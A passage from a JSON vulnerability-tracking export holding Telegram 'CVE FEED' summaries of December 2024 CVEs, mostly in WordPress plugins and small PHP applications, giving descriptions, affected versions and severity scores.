\"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:00.000000Z"}, {"uuid": "05a19f7c-e3e1-4cd9-b207-8a5653611994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12591", "type": "seen", "source": "https://t.me/cvedetector/13495", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12591 - MagicPost WordPress Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12591 \nPublished : Dec. 21, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : The MagicPost plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's wb_share_social shortcode in all versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:59:17.000000Z"}, {"uuid": "be938fb8-a584-4aab-9806-2c7f12fa7afb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12588", "type": "seen", "source": "https://t.me/cvedetector/13492", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12588 - WordPress Phlox Theme Phlox Theme Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12588 \nPublished : Dec. 21, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : The Shortcodes and extra features for Phlox theme plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's Staff widget in all versions up to, and including, 2.16.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T11:09:08.000000Z"}, {"uuid": "7b6130eb-40f5-4bdc-a60f-43cb960421fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12066", "type": "seen", "source": "https://t.me/cvedetector/13489", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12066 - WordPress SMSA Shipping Plugin Remote File Deletion Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12066 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The SMSA Shipping(official) plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the smsa_delete_label() function in all versions up to, and including, 2.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:44.000000Z"}, {"uuid": "c73c7baf-6e3c-40b3-8ed0-0663947cbac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12867", "type": "seen", "source": "https://t.me/cvedetector/13459", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12867 - Arctic Security Arctic Hub SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12867 \nPublished : Dec. 20, 2024, 8:15 p.m. | 24\u00a0minutes ago \nDescription : Server-Side Request Forgery in URL Mapper in Arctic Security's Arctic Hub versions 3.0.1764-5.6.1877 allows an unauthenticated remote attacker to exfiltrate and modify configurations and data. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T21:46:13.000000Z"}, {"uuid": "e6b51d32-2a04-4930-996f-80e370c9bc7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12794", "type": "seen", "source": "https://t.me/cvedetector/13356", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12794 - Codezips E-Commerce Site SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12794 \nPublished : Dec. 19, 2024, 6:15 p.m. | 33\u00a0minutes ago \nDescription : A vulnerability, which was classified as critical, was found in Codezips E-Commerce Site 1.0. This affects an unknown part of the file /admin/editorder.php. The manipulation of the argument dstatus/quantity/ddate leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:50:17.000000Z"}, {"uuid": "f615741b-7225-41ac-84e0-abb431ef7c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12771", "type": "seen", "source": "https://t.me/cvedetector/13484", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12771 - WordPress eCommerce Product Catalog Cross-Site Request Forgery (CSRF)\", \n  \"Content\": \"CVE ID : CVE-2024-12771 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The eCommerce Product Catalog Plugin for WordPress plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.3.43. This is due to missing or incorrect nonce validation on the 'customer_panel_password_reset' function. This makes it possible for unauthenticated attackers to reset the password of any administrator or customer account via a forged request granted they can trick a site administrator into performing an action such as clicking on a link. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:37.000000Z"}, {"uuid": "5abd8f20-6152-4ebe-9ec7-24efad2274a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12721", "type": "seen", "source": "https://t.me/cvedetector/13483", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12721 - WooCommerce Custom Product Tabs PHP Object Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12721 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The Custom Product Tabs For WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 1.2.4 via deserialization of untrusted input from the 'wb_custom_tabs' parameter. This makes it possible for authenticated attackers, with Shop Manager-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code. \nSeverity: 7.2 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:37.000000Z"}, {"uuid": "f7ff04aa-1859-4429-8c78-1005685cddae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12697", "type": "seen", "source": "https://t.me/cvedetector/13482", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12697 - RealKit WordPress Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12697 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The real.Kit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.1.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:36.000000Z"}, {"uuid": "83b02fc4-9044-4b85-8509-ab3c68298e74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12635", "type": "seen", "source": "https://t.me/cvedetector/13481", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12635 - \"WordPress WP Docs Time-Based SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2024-12635 \nPublished : Dec. 21, 2024, 7:15 a.m. | 15\u00a0minutes ago \nDescription : The WP Docs plugin for WordPress is vulnerable to time-based SQL Injection via the 'dir_id' parameter in all versions up to, and including, 2.2.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The vulnerability was partially patched in version 2.2.0. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T08:38:35.000000Z"}, {"uuid": "b3830390-0974-4d40-9a1f-a04624c699ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12846", "type": "seen", "source": "https://t.me/cvedetector/13477", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12846 - Emlog Pro Cross Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12846 \nPublished : Dec. 21, 2024, 5:15 a.m. | 36\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in Emlog Pro up to 2.4.1. Affected by this issue is some unknown functionality of the file /admin/link.php. The manipulation of the argument siteurl/icon leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"21 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T06:58:14.000000Z"}, {"uuid": "07048b55-0586-4f1c-9ce3-63dd08241901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12840", "type": "seen", "source": "https://t.me/cvedetector/13446", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12840 - Satellite SSRF\", \n  \"Content\": \"CVE ID : CVE-2024-12840 \nPublished : Dec. 20, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A server-side request forgery exists in Satellite. When a PUT HTTP request is made to /http_proxies/test_connection, when supplied with the http_proxies variable set to localhost, the attacker can fetch the localhost banner. \nSeverity: 5.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T18:25:25.000000Z"}, {"uuid": "d16a1de0-f4f8-4c85-bfad-9886ebb1ca67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12845", "type": "seen", "source": "https://t.me/cvedetector/13470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12845 - Emlog Pro Cross Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12845 \nPublished : Dec. 20, 2024, 10:15 p.m. | 34\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in Emlog Pro up to 2.4.1. Affected by this vulnerability is an unknown functionality in the library /include/lib/common.php. The manipulation of the argument msg leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-21T00:16:48.000000Z"}, {"uuid": "b6a39301-9eeb-4531-b66c-1e0a6908d677", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12844", "type": "seen", "source": "https://t.me/cvedetector/13469", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12844 - Emlog Pro Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12844 \nPublished : Dec. 20, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in Emlog Pro up to 2.4.1. Affected is an unknown function of the file /admin/store.php. The manipulation of the argument tag leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T23:26:41.000000Z"}, {"uuid": "40cfdfee-818b-4586-b713-2f6500fcfc4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12843", "type": "seen", "source": "https://t.me/cvedetector/13468", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12843 - Emlog Pro Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12843 \nPublished : Dec. 20, 2024, 9:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability was found in Emlog Pro up to 2.4.1. It has been rated as problematic. This issue affects some unknown processing of the file /admin/plugin.php. The manipulation of the argument filter leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T23:26:40.000000Z"}, {"uuid": "acdb8874-6933-48ec-a51b-c150aad4f57c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12842", "type": "seen", "source": "https://t.me/cvedetector/13460", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12842 - Emlog Pro Cross Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12842 \nPublished : Dec. 20, 2024, 8:15 p.m. | 24\u00a0minutes ago \nDescription : A vulnerability was found in Emlog Pro up to 2.4.1. It has been declared as problematic. This vulnerability affects unknown code of the file /admin/user.php. The manipulation of the argument keyword leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T21:46:14.000000Z"}, {"uuid": "96d29d2f-41a5-4c5c-93fe-d6404487e385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12919", "type": "seen", "source": "https://t.me/cvedetector/15240", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12919 - \"Easy Memberships authentication bypass in WordPress Paid Membership Subscriptions\"\", \n  \"Content\": \"CVE ID : CVE-2024-12919 \nPublished : Jan. 14, 2025, 10:15 a.m. | 39\u00a0minutes ago \nDescription : The Paid Membership Subscriptions \u2013 Effortless Memberships, Recurring Payments & Content Restriction plugin for WordPress is vulnerable to Authentication Bypass in all versions up to, and including, 2.13.7. This is due to the pms_pb_payment_redirect_link function using the user-controlled value supplied via the 'pms_payment_id' parameter to authenticate users without any further identity validation. This makes it possible for unauthenticated attackers with knowledge of a valid payment ID to log in as any user who has made a purchase on the targeted site. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T12:18:58.000000Z"}, {"uuid": "17e82166-da5c-44fa-a03f-a233eba16e32", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12790", "type": "seen", "source": "https://t.me/cvedetector/13348", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12790 - Code-Projects Hostel Management Site Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12790 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in code-projects Hostel Management Site 1.0. It has been declared as problematic. This vulnerability affects unknown code of the file room-details.php. The manipulation leads to cross site scripting. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:02.000000Z"}, {"uuid": "aa412854-f28f-4a83-a868-964892b6e423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12789", "type": "seen", "source": "https://t.me/cvedetector/13347", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12789 - PbootCMS Remote Code Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12789 \nPublished : Dec. 19, 2024, 5:15 p.m. | 36\u00a0minutes ago \nDescription : A vulnerability was found in PbootCMS up to 3.2.3. It has been classified as critical. This affects an unknown part of the file apps/home/controller/IndexController.php. The manipulation of the argument tag leads to code injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 3.2.4 is able to address this issue. It is recommended to upgrade the affected component. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T19:00:01.000000Z"}, {"uuid": "b5ecfdd5-51af-4d01-bffb-6492ac07addd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12014", "type": "seen", "source": "https://t.me/cvedetector/13431", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12014 - eSigna eSignaViewer Path Traversal and Insecure Direct Object Reference\", \n  \"Content\": \"CVE ID : CVE-2024-12014 \nPublished : Dec. 20, 2024, 1:15 p.m. | 38\u00a0minutes ago \nDescription : Path Traversal and Insecure Direct Object Reference (IDOR) vulnerabilities in the eSignaViewer component in eSigna product versions 1.0 to 1.5 on all platforms allow an unauthenticated attacker to access arbitrary files in the document system via manipulation of file paths and object identifiers. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T15:04:37.000000Z"}, {"uuid": "1def31e2-c22d-4342-a247-20dbd116d851", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12571", "type": "seen", "source": "https://t.me/cvedetector/13416", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12571 - WordPress LotsOfLocales Google Maps Local File Inclusion\", \n  \"Content\": \"CVE ID : CVE-2024-12571 \nPublished : Dec. 20, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : The Store Locator for WordPress with Google Maps \u2013 LotsOfLocales plugin for WordPress is vulnerable to Local File Inclusion in version 3.98.9 via the 'sl_engine' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T09:13:10.000000Z"}, {"uuid": "6512cd65-fdea-4975-89a5-c7448aaaa663", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12509", "type": "seen", "source": "https://t.me/cvedetector/13414", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12509 - WordPress Embed Twine Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12509 \nPublished : Dec. 20, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : The Embed Twine plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'embed_twine' shortcode in all versions up to, and including, 0.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T09:13:09.000000Z"}, {"uuid": "194fd0eb-5971-471e-9841-b5f4f4c0ffed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12982", "type": "seen", "source": "https://t.me/cvedetector/13716", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12982 - PHPGurukul Blood Bank & Donor Management System Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12982 \nPublished : Dec. 27, 2024, 6:15 a.m. | 15\u00a0minutes ago \nDescription : A vulnerability was found in PHPGurukul Blood Bank & Donor Management System 2.4. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /bbdms/admin/update-contactinfo.php. The manipulation of the argument Address leads to cross site scripting. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 2.4 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-27T07:37:34.000000Z"}, {"uuid": "bdfb358d-e5bf-4f18-b76e-2b46b9ea8e2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12506", "type": "seen", "source": "https://t.me/cvedetector/13423", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12506 - NACC WordPress Plugin Stored Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12506 \nPublished : Dec. 20, 2024, 7:15 a.m. | 43\u00a0minutes ago \nDescription : The NACC WordPress Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'nacc' shortcode in all versions up to, and including, 4.1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-20T09:13:18.000000Z"}, {"uuid": "d10d4f46-a1f5-4d15-80e0-6e3f97cc310a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12727", "type": "seen", "source": "https://t.me/cvedetector/13379", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12727 - Sophos Firewall SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12727 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A pre-auth SQL injection vulnerability in the email protection feature of Sophos Firewall versions older than 21.0 MR1 (21.0.1) allows access to the reporting database and can lead to remote code execution if a specific configuration of Secure PDF eXchange (SPX) is enabled in combination with the firewall running in High Availability (HA) mode. \nSeverity: 9.8 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:05.000000Z"}, {"uuid": "f8c7c6dc-f99d-4a04-ad89-abfebb88ab86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12672", "type": "seen", "source": "https://t.me/cvedetector/13378", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12672 - \"Rockwell Automation Arena Write-What-You-Please Memory Corruption Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12672 \nPublished : Dec. 19, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : A third-party vulnerability exists in the Rockwell Automation\u00a0Arena\u00ae\u00a0that could allow a threat actor to write beyond the boundaries of allocated memory in a DOE file. If exploited, a threat actor could leverage this vulnerability to execute arbitrary code. To exploit this vulnerability, a legitimate user must execute the malicious code crafted by the threat actor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-19T23:11:04.000000Z"}, {"uuid": "c6680040-7b44-48fc-b8da-b9f17180dcfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12678", "type": "seen", "source": "https://t.me/cvedetector/13395", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12678 - Nomad Privilege Escalation Through Unredacted Tokens\", \n  \"Content\": \"CVE ID : CVE-2024-12678 \nPublished : Dec. 20, 2024, 2:15 a.m. | 40\u00a0minutes ago \nDescription : Nomad Community and Nomad Enterprise (\"Nomad\") 